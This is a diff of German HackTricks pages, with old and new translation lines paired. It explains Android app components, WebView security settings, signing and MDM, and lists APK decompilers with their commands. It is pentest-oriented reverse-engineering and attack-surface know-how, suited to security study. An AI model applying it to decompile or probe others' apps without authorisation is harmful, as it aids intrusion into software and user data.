- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, ermöglichen es Aktivitäten oder Komponenten, sich an einen Dienst zu binden, Anfragen zu stellen und Antworten zu erhalten. Die Methode `onBind` in der Klasse des Dienstes ist entscheidend für die Initiierung der Interaktion und markiert sie als einen wichtigen Bereich für die Sicherheitsüberprüfung auf der Suche nach Schwachstellen.
- **Gebundene Dienste**: Diese Dienste nutzen AIDL für IPC, wodurch Aktivitäten oder Komponenten an einen Dienst binden, Anfragen stellen und Antworten erhalten können. Die Methode `onBind` in der Dienstklasse ist entscheidend für den Beginn der Interaktion und stellt einen wichtigen Bereich für die Sicherheitsüberprüfung auf der Suche nach Schwachstellen dar.
- **Messenger**: Als gebundener Dienst erleichtert Messenger die IPC mit dem Schwerpunkt auf der Verarbeitung von Daten durch die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen.
- **Messenger**: Als gebundener Dienst ermöglicht der Messenger IPC mit dem Fokus auf die Verarbeitung von Daten über die Methode `onBind`. Es ist wichtig, diese Methode genau auf unsichere Datenverarbeitung oder die Ausführung sensibler Funktionen zu überprüfen.
- **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion von AIDL weniger häufig ist, ist es nützlich zu verstehen, dass Binder als Treiber auf Kernel-Ebene fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse erleichtert. Zur weiteren Veranschaulichung steht ein Ressource unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8) zur Verfügung.
- **Binder**: Obwohl die direkte Verwendung der Binder-Klasse aufgrund der Abstraktion durch AIDL weniger verbreitet ist, ist es vorteilhaft zu verstehen, dass der Binder als Kernel-Treiber fungiert, der den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse erleichtert. Für ein besseres Verständnis steht eine Ressource zur Verfügung unter [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Komponenten
Diese umfassen: **Aktivitäten, Dienste, Broadcast-Empfänger und Anbieter.**
### Startaktivität und andere Aktivitäten
### Launcher-Aktivität und andere Aktivitäten
In Android-Apps sind **Aktivitäten** wie Bildschirme, die verschiedene Teile der Benutzeroberfläche der App anzeigen. Eine App kann viele Aktivitäten haben, von denen jede einen einzigartigen Bildschirm für den Benutzer darstellt.
In Android-Apps sind **Aktivitäten** wie Bildschirme, die verschiedene Teile der Benutzeroberfläche der App anzeigen. Eine App kann viele Aktivitäten haben, von denen jede einen einzigartigen Bildschirm für den Benutzer präsentiert.
Die **Startaktivität** ist das Haupttor zu einer App, das gestartet wird, wenn Sie auf das Symbol der App tippen. Sie ist in der Manifestdatei der App mit spezifischen MAIN- und LAUNCHER-Intents definiert:
Die **Launcher-Aktivität** ist das Haupttor zu einer App, das gestartet wird, wenn Sie auf das App-Symbol tippen. Sie ist in der Manifestdatei der App mit spezifischen MAIN- und LAUNCHER-Intents definiert:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,19 +266,19 @@ Die **Startaktivität** ist das Haupttor zu einer App, das gestartet wird, wenn
</intent-filter>
</activity>
```
Nicht alle Apps benötigen eine Startaktivität, insbesondere solche ohne Benutzeroberfläche, wie Hintergrunddienste.
Nicht alle Apps benötigen eine Launcher-Aktivität, insbesondere solche ohne Benutzeroberfläche, wie Hintergrunddienste.
Aktivitäten können anderen Apps oder Prozessen zur Verfügung gestellt werden, indem sie im Manifest als "exportiert" markiert werden. Diese Einstellung ermöglicht es anderen Apps, diese Aktivität zu starten:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Jedoch ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein Sicherheitsrisiko. Die Sorge entsteht, wenn sensible Daten unsachgemäß geteilt werden, was zu Informationslecks führen könnte.
Jedoch ist der Zugriff auf eine Aktivität von einer anderen App nicht immer ein Sicherheitsrisiko. Die Bedenken entstehen, wenn sensible Daten unsachgemäß geteilt werden, was zu Informationslecks führen könnte.
Der Lebenszyklus einer Aktivität **beginnt mit der onCreate-Methode**, die die Benutzeroberfläche einrichtet und die Aktivität auf die Interaktion mit dem Benutzer vorbereitet.
### Anwendungsteilklasse
### Anwendung Unterklasse
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Teilklasse** der [Application](https://developer.android.com/reference/android/app/Application)-Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Teilklasse definiert ist, wird sie als erste Klasse innerhalb der App instanziiert. Die Methode **`attachBaseContext`**, wenn sie in dieser Teilklasse implementiert ist, wird vor der **`onCreate`**-Methode ausgeführt. Dieses Setup ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
In der Android-Entwicklung hat eine App die Möglichkeit, eine **Unterklasse** der [Application](https://developer.android.com/reference/android/app/Application) Klasse zu erstellen, obwohl dies nicht obligatorisch ist. Wenn eine solche Unterklasse definiert ist, wird sie die erste Klasse, die innerhalb der App instanziiert wird. Die **`attachBaseContext`** Methode, wenn sie in dieser Unterklasse implementiert ist, wird vor der **`onCreate`** Methode ausgeführt. Diese Einrichtung ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
```java
public class MyApp extends Application {
@Override
@ -294,33 +296,33 @@ super.onCreate();
```
### Dienste
[Dienste](https://developer.android.com/guide/components/services) sind **Hintergrundoperationen**, die in der Lage sind, Aufgaben ohne Benutzeroberfläche auszuführen. Diese Aufgaben können auch dann weiterlaufen, wenn Benutzer zu anderen Anwendungen wechseln, wodurch Dienste für **lang andauernde Operationen** unerlässlich sind.
[Dienste](https://developer.android.com/guide/components/services) sind **Hintergrundoperationen**, die in der Lage sind, Aufgaben ohne Benutzeroberfläche auszuführen. Diese Aufgaben können weiterhin ausgeführt werden, selbst wenn Benutzer zu anderen Anwendungen wechseln, was Dienste entscheidend für **langandauernde Operationen** macht.
Dienste sind vielseitig einsetzbar; sie können auf verschiedene Arten initiiert werden, wobei **Intents** die primäre Methode zum Starten sind, da sie als Einstiegspunkt einer Anwendung dienen. Sobald ein Dienst mit der Methode `startService` gestartet wird, tritt seine `onStart`-Methode in Aktion und läuft weiter, bis die `stopService`-Methode explizit aufgerufen wird. Alternativ, wenn die Rolle eines Dienstes von einer aktiven Client-Verbindung abhängt, wird die Methode `bindService` verwendet, um den Client mit dem Dienst zu verbinden, wobei die `onBind`-Methode für den Datenaustausch genutzt wird.
Dienste sind vielseitig; sie können auf verschiedene Weise gestartet werden, wobei **Intents** die primäre Methode zum Starten als Einstiegspunkt einer Anwendung sind. Sobald ein Dienst mit der Methode `startService` gestartet wird, wird die Methode `onStart` aktiviert und läuft weiter, bis die Methode `stopService` ausdrücklich aufgerufen wird. Alternativ, wenn die Rolle eines Dienstes von einer aktiven Clientverbindung abhängt, wird die Methode `bindService` verwendet, um den Client mit dem Dienst zu verbinden, wobei die Methode `onBind` für den Datenaustausch aktiviert wird.
Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundmusik oder das Abrufen von Netzwerkdaten, ohne die Interaktion des Benutzers mit einer App zu beeinträchtigen. Darüber hinaus können Dienste für andere Prozesse auf demselben Gerät über **Exportieren** zugänglich gemacht werden. Dies ist nicht das Standardverhalten und erfordert eine explizite Konfiguration in der Android-Manifestdatei:
Eine interessante Anwendung von Diensten umfasst die Wiedergabe von Hintergrundmusik oder das Abrufen von Netzwerkdaten, ohne die Interaktion des Benutzers mit einer App zu behindern. Darüber hinaus können Dienste für andere Prozesse auf demselben Gerät durch **Exportieren** zugänglich gemacht werden. Dies ist nicht das Standardverhalten und erfordert eine explizite Konfiguration in der Android Manifest-Datei:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Broadcast Receiver
### Broadcast Receivers
**Broadcast Receiver** fungieren als Zuhörer in einem Nachrichtensystem, das es mehreren Anwendungen ermöglicht, auf dieselben Nachrichten des Systems zu reagieren. Eine App kann einen **Empfänger registrieren** auf **zwei Hauptarten**: über das **Manifest** der App oder **dynamisch** im Code der App über die **`registerReceiver`** API. Im Manifest werden Übertragungen mit Berechtigungen gefiltert, während dynamisch registrierte Empfänger auch Berechtigungen bei der Registrierung angeben können.
**Broadcast receivers** fungieren als Listener in einem Messaging-System und ermöglichen es mehreren Anwendungen, auf dieselben Nachrichten des Systems zu reagieren. Eine App kann **einen Empfänger registrieren** auf **zwei Hauptarten**: über das **Manifest** der App oder **dynamisch** im Code der App über die **`registerReceiver`** API. Im Manifest werden Broadcasts mit Berechtigungen gefiltert, während dynamisch registrierte Empfänger auch Berechtigungen bei der Registrierung angeben können.
**Intent-Filter** sind bei beiden Registrierungsmethoden entscheidend und bestimmen, welche Übertragungen den Empfänger auslösen. Sobald eine übereinstimmende Übertragung gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten anhand einer Benachrichtigung über einen niedrigen Akkustand anzupassen.
**Intent-Filter** sind entscheidend in beiden Registrierungsarten, da sie bestimmen, welche Broadcasts den Empfänger auslösen. Sobald ein passender Broadcast gesendet wird, wird die Methode **`onReceive`** des Empfängers aufgerufen, was der App ermöglicht, entsprechend zu reagieren, z. B. das Verhalten als Reaktion auf eine Warnung bei niedrigem Batteriestand anzupassen.
Übertragungen können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, bei dem Empfänger die Übertragung basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig zu beachten, dass ein potenzielles Sicherheitsrisiko besteht, da jede App sich selbst priorisieren kann, um eine Übertragung abzufangen.
Broadcasts können entweder **asynchron** sein, wobei alle Empfänger ohne Reihenfolge erreicht werden, oder **synchron**, wobei Empfänger den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das potenzielle Sicherheitsrisiko zu beachten, da jede App sich priorisieren kann, um einen Broadcast abzufangen.
Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **Geordneten Übertragungen**, die das Intent ändern oder verwerfen können.
Um die Funktionalität eines Empfängers zu verstehen, suchen Sie nach der Methode **`onReceive`** innerhalb seiner Klasse. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Empfänger hervorhebt, insbesondere bei **geordneten Broadcasts**, die das Intent modifizieren oder verwerfen können.
### Content Provider
**Content Provider** sind für das **Teilen strukturierter Daten** zwischen Apps unerlässlich und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie **`readPermission`** und **`writePermission`** sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff durch **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
**Content Providers** sind entscheidend für das **Teilen strukturierter Daten** zwischen Apps und betonen die Bedeutung der Implementierung von **Berechtigungen**, um die Datensicherheit zu gewährleisten. Sie ermöglichen es Apps, auf Daten aus verschiedenen Quellen zuzugreifen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen, wie **`readPermission`** und **`writePermission`**, sind entscheidend für die Kontrolle des Zugriffs. Darüber hinaus kann temporärer Zugriff über **`grantUriPermission`**-Einstellungen im Manifest der App gewährt werden, wobei Attribute wie `path`, `pathPrefix` und `pathPattern` für eine detaillierte Zugriffskontrolle genutzt werden.
Die Eingabevalidierung ist entscheidend, um Sicherheitslücken wie SQL-Injektionen zu verhindern. Content Provider unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und den Austausch zwischen Anwendungen erleichtern.
Die Eingangsvalidierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: `insert()`, `update()`, `delete()` und `query()`, die die Datenmanipulation und den Austausch zwischen Anwendungen erleichtern.
**FileProvider**, ein spezialisierter Content Provider, konzentriert sich auf das sichere Teilen von Dateien. Er wird im Manifest der App mit spezifischen Attributen definiert, um den Zugriff auf Ordner zu kontrollieren, die durch `android:exported` und `android:resource` auf Ordnerkonfigurationen verweisen. Es wird empfohlen, Vorsicht walten zu lassen, wenn Verzeichnisse freigegeben werden, um eine unbeabsichtigte Offenlegung sensibler Daten zu vermeiden.
**FileProvider**, ein spezialisierter Content Provider, konzentriert sich auf das sichere Teilen von Dateien. Er wird im Manifest der App mit spezifischen Attributen definiert, um den Zugriff auf Ordner zu steuern, die durch `android:exported` und `android:resource` auf Ordnerkonfigurationen verweisen. Vorsicht ist geboten, wenn Verzeichnisse geteilt werden, um zu vermeiden, dass sensible Daten unbeabsichtigt offengelegt werden.
Beispielhafte Manifestdeklaration für FileProvider:
Beispiel für die Manifestdeklaration für FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -330,49 +332,49 @@ android:exported="false">
android:resource="@xml/filepaths" />
</provider>
```
Und ein Beispiel zur Spezifizierung von freigegebenen Ordnern in `filepaths.xml`:
Und ein Beispiel für die Angabe von freigegebenen Ordnern in `filepaths.xml`:
```xml
<paths>
<files-path path="images/" name="myimages" />
</paths>
```
Für weitere Informationen siehe:
- [Android-Entwickler: Inhaltsanbieter](https://developer.android.com/guide/topics/providers/content-providers)
- [Android-Entwickler: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
- [Android Developers: Content Providers](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Developers: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews
WebViews sind wie **Mini-Webbrowser** innerhalb von Android-Apps, die Inhalte entweder aus dem Web oder aus lokalen Dateien abrufen. Sie sind ähnlichen Risiken wie reguläre Browser ausgesetzt, aber es gibt Möglichkeiten, diese Risiken durch spezifische **Einstellungen zu reduzieren**.
WebViews sind wie **Mini-Webbrowser** in Android-Apps, die Inhalte entweder aus dem Web oder von lokalen Dateien abrufen. Sie sind ähnlichen Risiken wie reguläre Browser ausgesetzt, jedoch gibt es Möglichkeiten, diese **Risiken zu reduzieren** durch spezifische **Einstellungen**.
Android bietet zwei Hauptarten von WebViews:
Android bietet zwei Haupttypen von WebView:
- **WebViewClient** ist gut für grundlegendes HTML, unterstützt jedoch nicht die JavaScript-Alert-Funktion, was sich darauf auswirkt, wie XSS-Angriffe getestet werden können.
- **WebChromeClient** verhält sich mehr wie die vollständige Chrome-Browsererfahrung.
- **WebViewClient** ist großartig für grundlegendes HTML, unterstützt jedoch nicht die JavaScript-Alert-Funktion, was die Testmöglichkeiten für XSS-Angriffe beeinflusst.
- **WebChromeClient** bietet mehr das volle Chrome-Browser-Erlebnis.
Ein wichtiger Punkt ist, dass WebView-Browser **keine Cookies mit dem Hauptbrowser des Geräts teilen**.
Ein wichtiger Punkt ist, dass WebView-Browser **keine Cookies** mit dem Hauptbrowser des Geräts teilen.
Für das Laden von Inhalten stehen Methoden wie ````loadUrl````, ````loadData```` und ````loadDataWithBaseURL```` zur Verfügung. Es ist entscheidend sicherzustellen, dass diese URLs oder Dateien **sicher zu verwenden** sind. Sicherheitseinstellungen können über die Klasse ````WebSettings```` verwaltet werden. Beispielsweise kann das Deaktivieren von JavaScript mit ````setJavaScriptEnabled(false)```` XSS-Angriffe verhindern.
Zum Laden von Inhalten stehen Methoden wie ````loadUrl````, ````loadData````, und ````loadDataWithBaseURL```` zur Verfügung. Es ist entscheidend sicherzustellen, dass diese URLs oder Dateien **sicher zu verwenden** sind. Sicherheitseinstellungen können über die ````WebSettings````-Klasse verwaltet werden. Beispielsweise kann das Deaktivieren von JavaScript mit ````setJavaScriptEnabled(false)```` XSS-Angriffe verhindern.
Die JavaScript-"Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` markiert werden müssen, um Sicherheit zu gewährleisten.
Die JavaScript "Bridge" ermöglicht es Java-Objekten, mit JavaScript zu interagieren, wobei Methoden ab Android 4.2 mit ````@JavascriptInterface```` für die Sicherheit markiert werden müssen.
Das Zulassen des Zugriffs auf Inhalte (````setAllowContentAccess(true)````) ermöglicht es WebViews, auf Inhaltsanbieter zuzugreifen, was ein Risiko darstellen kann, es sei denn, die Inhalts-URLs sind als sicher verifiziert.
Das Zulassen des Zugriffs auf Inhalte (````setAllowContentAccess(true)````) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen könnte, es sei denn, die Inhalts-URLs werden als sicher verifiziert.
Um den Dateizugriff zu kontrollieren:
- Das Deaktivieren des Dateizugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Ressourcen, um sicherzustellen, dass sie nur für nicht-sensitive Inhalte verwendet werden.
Um den Datei-Zugriff zu steuern:
- Das Deaktivieren des Datei-Zugriffs (````setAllowFileAccess(false)````) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, um sicherzustellen, dass sie nur für nicht-sensitive Inhalte verwendet werden.
## Andere App-Komponenten und Mobile Geräteverwaltung
## Andere App-Komponenten und Mobile Device Management
### **Digitale Signierung von Anwendungen**
### **Digitale Signatur von Anwendungen**
- **Digitale Signierung** ist ein Muss für Android-Apps, um sicherzustellen, dass sie vor der Installation **authentisch autorisiert** sind. Dieser Prozess verwendet ein Zertifikat zur App-Identifizierung und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können **selbst signiert oder von einer externen Zertifizierungsstelle zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Auslieferung an das Gerät unverändert bleibt.
- **Digitale Signaturen** sind ein Muss für Android-Apps, um sicherzustellen, dass sie **authentisch erstellt** sind, bevor sie installiert werden. Dieser Prozess verwendet ein Zertifikat zur Identifizierung der App und muss vom Paketmanager des Geräts bei der Installation verifiziert werden. Apps können **selbstsigniert oder von einer externen CA zertifiziert** sein, um unbefugten Zugriff zu verhindern und sicherzustellen, dass die App während der Lieferung an das Gerät unverändert bleibt.
### **App-Verifizierung für erhöhte Sicherheit**
- Ab **Android 4.2** ermöglicht eine Funktion namens **Apps überprüfen** Benutzern, Apps vor der Installation auf Sicherheit zu überprüfen. Dieser **Verifizierungsprozess** kann Benutzer vor potenziell schädlichen Apps warnen oder sogar die Installation besonders bösartiger Apps verhindern, um die Sicherheit der Benutzer zu erhöhen.
- Ab **Android 4.2** ermöglicht eine Funktion namens **Apps überprüfen**, dass Benutzer Apps vor der Installation auf Sicherheit überprüfen lassen. Dieser **Verifizierungsprozess** kann Benutzer vor potenziell schädlichen Apps warnen oder sogar die Installation besonders bösartiger Apps verhindern, was die Sicherheit der Benutzer erhöht.
### **Mobile Geräteverwaltung (MDM)**
### **Mobile Device Management (MDM)**
- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte über die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören die **Durchsetzung von Kennwortrichtlinien**, die **Vorgabe der Speicherungsverschlüsselung** und die **Ermöglichung des Remote-Datenlöschens**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten.
- **MDM-Lösungen** bieten **Überwachung und Sicherheit** für mobile Geräte durch die **Device Administration API**. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und zu sichern. Zu den Hauptfunktionen gehören **Durchsetzung von Passwort-Richtlinien**, **Vorgabe von Speicher-Verschlüsselung** und **Erlauben von Remote-Datenlöschungen**, um umfassende Kontrolle und Sicherheit über mobile Geräte zu gewährleisten.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -389,16 +391,17 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,37 +1,39 @@
# APK-Decompilers
# APK-Decompiler
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}
{% endhint %}
**Für weitere Details zu jedem Tool lesen Sie den Originalbeitrag von [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
**Für weitere Details zu jedem Tool überprüfen Sie den Originalbeitrag von [https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr](https://eiken.dev/blog/2021/02/how-to-break-your-jar-in-2021-decompilation-guide-for-jars-and-apks/#cfr)**
### [JD-Gui](https://github.com/java-decompiler/jd-gui)
Als bahnbrechender GUI-Java-Decompiler ermöglicht es Ihnen **JD-Gui**, Java-Code in APK-Dateien zu untersuchen. Es ist einfach zu bedienen; nachdem Sie die APK erhalten haben, öffnen Sie sie einfach mit JD-Gui, um den Code zu inspizieren.
Als der Pionier unter den GUI-Java-Decompilern ermöglicht **JD-Gui** Ihnen, Java-Code innerhalb von APK-Dateien zu untersuchen. Es ist einfach zu bedienen; nachdem Sie die APK erhalten haben, öffnen Sie sie einfach mit JD-Gui, um den Code zu inspizieren.
### [Jadx](https://github.com/skylot/jadx)
**Jadx** bietet eine benutzerfreundliche Oberfläche zum Dekompilieren von Java-Code aus Android-Anwendungen. Es wird aufgrund seiner Benutzerfreundlichkeit auf verschiedenen Plattformen empfohlen.
**Jadx** bietet eine benutzerfreundliche Oberfläche zum Decompilieren von Java-Code aus Android-Anwendungen. Es wird wegen seiner Benutzerfreundlichkeit auf verschiedenen Plattformen empfohlen.
- Um die GUI zu starten, navigieren Sie zum bin-Verzeichnis und führen Sie aus: `jadx-gui`
- Für die Verwendung in der Befehlszeile dekompilieren Sie eine APK mit: `jadx app.apk`
- Um ein Ausgabeverzeichnis anzugeben oder Dekompilierungsoptionen anzupassen: `jadx app.apk -d <Pfad zum Ausgabeverzeichnis> --no-res --no-src --no-imports`
- Für die Verwendung über die Befehlszeile dekompilieren Sie eine APK mit: `jadx app.apk`
- Um ein Ausgabeverzeichnis anzugeben oder Decompilierungsoptionen anzupassen: `jadx app.apk -d <path to output dir> --no-res --no-src --no-imports`
### [GDA-android-reversing-Tool](https://github.com/charles2gan/GDA-android-reversing-Tool)
**GDA**, ein nur für Windows verfügbares Tool, bietet umfangreiche Funktionen für die Reverse Engineering von Android-Apps. Installieren und starten Sie GDA auf Ihrem Windows-System und laden Sie dann die APK-Datei zur Analyse.
**GDA**, ein nur für Windows verfügbares Tool, bietet umfangreiche Funktionen für das Reverse Engineering von Android-Apps. Installieren und führen Sie GDA auf Ihrem Windows-System aus, und laden Sie dann die APK-Datei zur Analyse.
### [Bytecode-Viewer](https://github.com/Konloch/bytecode-viewer/releases)
@ -39,47 +41,33 @@ Mit **Bytecode-Viewer** können Sie APK-Dateien mit mehreren Decompilern analysi
### [Enjarify](https://github.com/Storyyeller/enjarify)
**Enjarify** übersetzt Dalvik-Bytecode in Java-Bytecode, um Java-Analysetools zu ermöglichen, Android-Anwendungen effektiver zu analysieren.
**Enjarify** übersetzt Dalvik-Bytecode in Java-Bytecode, sodass Java-Analysetools Android-Anwendungen effektiver analysieren können.
- Um Enjarify zu verwenden, führen Sie aus: `enjarify app.apk`
Dies erzeugt den Java-Bytecode, der der bereitgestellten APK entspricht.
Dies erzeugt den Java-Bytecode, der dem bereitgestellten APK entspricht.
### [CFR](https://github.com/leibnitz27/cfr)
**CFR** ist in der Lage, moderne Java-Funktionen zu dekompilieren. Verwenden Sie es wie folgt:
**CFR** kann moderne Java-Funktionen dekompilieren. Verwenden Sie es wie folgt:
- Für die Standard-Dekompilierung: `java -jar ./cfr.jar "app.jar" --outputdir "Ausgabeverzeichnis"`
- Für große JAR-Dateien passen Sie die JVM-Speicherzuweisung an: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "Ausgabeverzeichnis"`
- Für die Standard-Dekompilierung: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
- Für große JAR-Dateien passen Sie die JVM-Speicherzuweisung an: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
**Fernflower**, ein analytischer Decompiler, erfordert den Bau aus dem Quellcode. Nach dem Bau:
**Fernflower**, ein analytischer Decompiler, muss aus dem Quellcode erstellt werden. Nach dem Erstellen:
- Dekompilieren Sie eine JAR-Datei: `java -jar ./fernflower.jar "app.jar" "Ausgabeverzeichnis"`
- Dekompilieren Sie eine JAR-Datei: `java -jar ./fernflower.jar "app.jar" "output_directory"`
Extrahieren Sie dann die `.java`-Dateien aus der generierten JAR mit `unzip`.
